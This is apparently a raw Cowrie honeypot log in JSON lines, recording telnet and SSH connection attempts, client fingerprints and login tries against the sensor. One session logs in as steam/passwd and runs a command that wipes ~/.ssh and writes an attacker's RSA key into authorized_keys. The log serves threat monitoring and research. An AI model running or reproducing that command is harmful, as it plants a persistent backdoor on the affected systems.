{"eventid":"cowrie.session.connect","src_ip":"91.199.236.33","src_port":44462,"dst_ip":"159.203.135.109","dst_port":23,"session":"be1f865b05ba","protocol":"telnet","message":"New connection: 91.199.236.33:44462 (159.203.135.109:23) [session: be1f865b05ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:32:32.664856Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.243.201.97","src_port":34474,"dst_ip":"159.203.135.109","dst_port":23,"session":"e9727261aa93","protocol":"telnet","message":"New connection: 43.243.201.97:34474 (159.203.135.109:23) [session: e9727261aa93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:32:36.626860Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.199.236.33","src_port":47092,"dst_ip":"159.203.135.109","dst_port":23,"session":"08d1f5a602cd","protocol":"telnet","message":"New connection: 91.199.236.33:47092 (159.203.135.109:23) [session: 08d1f5a602cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:32:40.042020Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.199.236.33","src_port":47351,"dst_ip":"159.203.135.109","dst_port":23,"session":"dea1911636d4","protocol":"telnet","message":"New connection: 91.199.236.33:47351 (159.203.135.109:23) [session: dea1911636d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:32:40.831080Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.243.201.97","src_port":36068,"dst_ip":"159.203.135.109","dst_port":23,"session":"d9b5fc2f69d7","protocol":"telnet","message":"New connection: 43.243.201.97:36068 (159.203.135.109:23) [session: d9b5fc2f69d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:32:42.650387Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.243.201.97","src_port":36270,"dst_ip":"159.203.135.109","dst_port":23,"session":"96ccab265dc3","protocol":"telnet","message":"New connection: 43.243.201.97:36270 (159.203.135.109:23) [session: 96ccab265dc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:32:43.666165Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.199.236.33","src_port":48533,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc4dc82cf876","protocol":"telnet","message":"New connection: 91.199.236.33:48533 (159.203.135.109:23) [session: dc4dc82cf876]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:32:44.530730Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.199.236.33","src_port":48659,"dst_ip":"159.203.135.109","dst_port":23,"session":"461059f585d4","protocol":"telnet","message":"New connection: 91.199.236.33:48659 (159.203.135.109:23) [session: 461059f585d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:32:44.877764Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.199.236.33","src_port":49227,"dst_ip":"159.203.135.109","dst_port":23,"session":"cad783933717","protocol":"telnet","message":"New connection: 91.199.236.33:49227 (159.203.135.109:23) [session: cad783933717]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:32:46.946491Z"}
{"eventid":"cowrie.session.closed","duration":30.92493724822998,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:32:49.748457Z","src_ip":"91.199.236.33","session":"dc00551106ae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00666856765747,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:32:55.091827Z","src_ip":"193.239.26.142","session":"c924cabf34ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.239.26.142","src_port":46454,"dst_ip":"10.17.0.5","dst_port":23,"session":"71792a5ee0eb","protocol":"telnet","message":"New connection: 193.239.26.142:46454 (10.17.0.5:23) [session: 71792a5ee0eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:32:55.615942Z"}
{"eventid":"cowrie.session.closed","duration":120.00138998031616,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:32:56.043783Z","src_ip":"193.239.26.142","session":"323c762bcb23","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.239.26.142","src_port":46548,"dst_ip":"10.17.0.5","dst_port":23,"session":"09edddaa0009","protocol":"telnet","message":"New connection: 193.239.26.142:46548 (10.17.0.5:23) [session: 09edddaa0009]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:32:56.509709Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.147.26.226","src_port":46222,"dst_ip":"159.203.135.109","dst_port":23,"session":"06e7e431e907","protocol":"telnet","message":"New connection: 198.147.26.226:46222 (159.203.135.109:23) [session: 06e7e431e907]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:32:57.092021Z"}
{"eventid":"cowrie.session.connect","src_ip":"67.231.17.187","src_port":58780,"dst_ip":"159.203.135.109","dst_port":23,"session":"a0c03787715c","protocol":"telnet","message":"New connection: 67.231.17.187:58780 (159.203.135.109:23) [session: a0c03787715c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:32:58.221574Z"}
{"eventid":"cowrie.session.closed","duration":30.59450101852417,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:32:58.682377Z","src_ip":"91.199.236.33","session":"37a2866d4213","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.199.236.33","src_port":52897,"dst_ip":"159.203.135.109","dst_port":23,"session":"25caac9697a9","protocol":"telnet","message":"New connection: 91.199.236.33:52897 (159.203.135.109:23) [session: 25caac9697a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:32:59.433469Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.243.201.97","src_port":40204,"dst_ip":"159.203.135.109","dst_port":23,"session":"18278f2faf23","protocol":"telnet","message":"New connection: 43.243.201.97:40204 (159.203.135.109:23) [session: 18278f2faf23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:32:59.568952Z"}
{"eventid":"cowrie.session.closed","duration":30.8696129322052,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:33:00.047776Z","src_ip":"173.231.204.61","session":"0236956b05fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.97599220275879,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:33:01.780179Z","src_ip":"91.199.236.33","session":"e40368cc4a12","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.558297634124756,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:33:02.657946Z","src_ip":"91.199.236.33","session":"8e429698a935","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.07015895843506,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:33:03.734895Z","src_ip":"91.199.236.33","session":"be1f865b05ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.670785188674927,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:33:07.297535Z","src_ip":"43.243.201.97","session":"e9727261aa93","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"67.231.17.187","src_port":59826,"dst_ip":"159.203.135.109","dst_port":23,"session":"569306ea226e","protocol":"telnet","message":"New connection: 67.231.17.187:59826 (159.203.135.109:23) [session: 569306ea226e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:33:08.943809Z"}
{"eventid":"cowrie.session.closed","duration":30.700194358825684,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:33:10.742066Z","src_ip":"91.199.236.33","session":"08d1f5a602cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"72.9.146.62","src_port":60478,"dst_ip":"159.203.135.109","dst_port":23,"session":"8fc673c72772","protocol":"telnet","message":"New connection: 72.9.146.62:60478 (159.203.135.109:23) [session: 8fc673c72772]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:33:10.783169Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.63.108.25","src_port":42742,"dst_ip":"159.203.135.109","dst_port":22,"session":"60f74762b5e8","protocol":"ssh","message":"New connection: 103.63.108.25:42742 (159.203.135.109:22) [session: 60f74762b5e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:33:10.939103Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:33:10.946168Z","src_ip":"103.63.108.25","session":"60f74762b5e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:33:11.214259Z","src_ip":"103.63.108.25","session":"60f74762b5e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.847063541412354,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:33:11.678026Z","src_ip":"91.199.236.33","session":"dea1911636d4","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"steam","password":"passwd","message":"login attempt [steam/passwd] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:33:12.304926Z","src_ip":"103.63.108.25","session":"60f74762b5e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":58062,"dst_ip":"159.203.135.109","dst_port":22,"session":"de4d4db8e71d","protocol":"ssh","message":"New connection: 159.203.92.129:58062 (159.203.135.109:22) [session: de4d4db8e71d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:33:12.396541Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:33:12.401255Z","src_ip":"159.203.92.129","session":"de4d4db8e71d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:33:12.425646Z","src_ip":"159.203.92.129","session":"de4d4db8e71d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aaaaaa","password":"0","message":"login attempt [aaaaaa/0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:33:12.436831Z","src_ip":"159.203.92.129","session":"de4d4db8e71d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:33:12.894586Z","src_ip":"103.63.108.25","session":"60f74762b5e8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:33:12.898115Z","src_ip":"103.63.108.25","session":"60f74762b5e8","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:33:12.901956Z","src_ip":"103.63.108.25","session":"60f74762b5e8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:33:13.176562Z","src_ip":"103.63.108.25","session":"60f74762b5e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"67.231.17.187","src_port":60192,"dst_ip":"159.203.135.109","dst_port":23,"session":"8fc4b23af427","protocol":"telnet","message":"New connection: 67.231.17.187:60192 (159.203.135.109:23) [session: 8fc4b23af427]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:33:13.271596Z"}
{"eventid":"cowrie.session.closed","duration":30.785078525543213,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:33:13.435336Z","src_ip":"43.243.201.97","session":"d9b5fc2f69d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:33:13.440919Z","src_ip":"159.203.92.129","session":"de4d4db8e71d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.199.236.33","src_port":57193,"dst_ip":"159.203.135.109","dst_port":23,"session":"916ef4a17c33","protocol":"telnet","message":"New connection: 91.199.236.33:57193 (159.203.135.109:23) [session: 916ef4a17c33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:33:13.472752Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.243.201.97","src_port":44542,"dst_ip":"159.203.135.109","dst_port":23,"session":"e248b01edc6d","protocol":"telnet","message":"New connection: 43.243.201.97:44542 (159.203.135.109:23) [session: e248b01edc6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:33:13.589352Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:33:13.878384Z","src_ip":"103.63.108.25","session":"60f74762b5e8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:33:13.881794Z","src_ip":"103.63.108.25","session":"60f74762b5e8","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/steam/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:33:14.163833Z","src_ip":"103.63.108.25","session":"60f74762b5e8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:33:14.167615Z","src_ip":"103.63.108.25","session":"60f74762b5e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.582679271697998,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:33:14.248715Z","src_ip":"43.243.201.97","session":"96ccab265dc3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.63.108.25","src_port":50070,"dst_ip":"159.203.135.109","dst_port":22,"session":"059ff53dbcea","protocol":"ssh","message":"New connection: 103.63.108.25:50070 (159.203.135.109:22) [session: 059ff53dbcea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:33:14.435341Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:33:14.440126Z","src_ip":"103.63.108.25","session":"059ff53dbcea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.238.146","src_port":41446,"dst_ip":"10.17.0.5","dst_port":22,"session":"e69dc63c5e46","protocol":"ssh","message":"New connection: 152.32.238.146:41446 (10.17.0.5:22) [session: e69dc63c5e46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:33:14.673887Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:33:14.680804Z","src_ip":"152.32.238.146","session":"e69dc63c5e46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.163156270980835,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:33:14.693768Z","src_ip":"91.199.236.33","session":"dc4dc82cf876","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:33:14.698790Z","src_ip":"152.32.238.146","session":"e69dc63c5e46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-g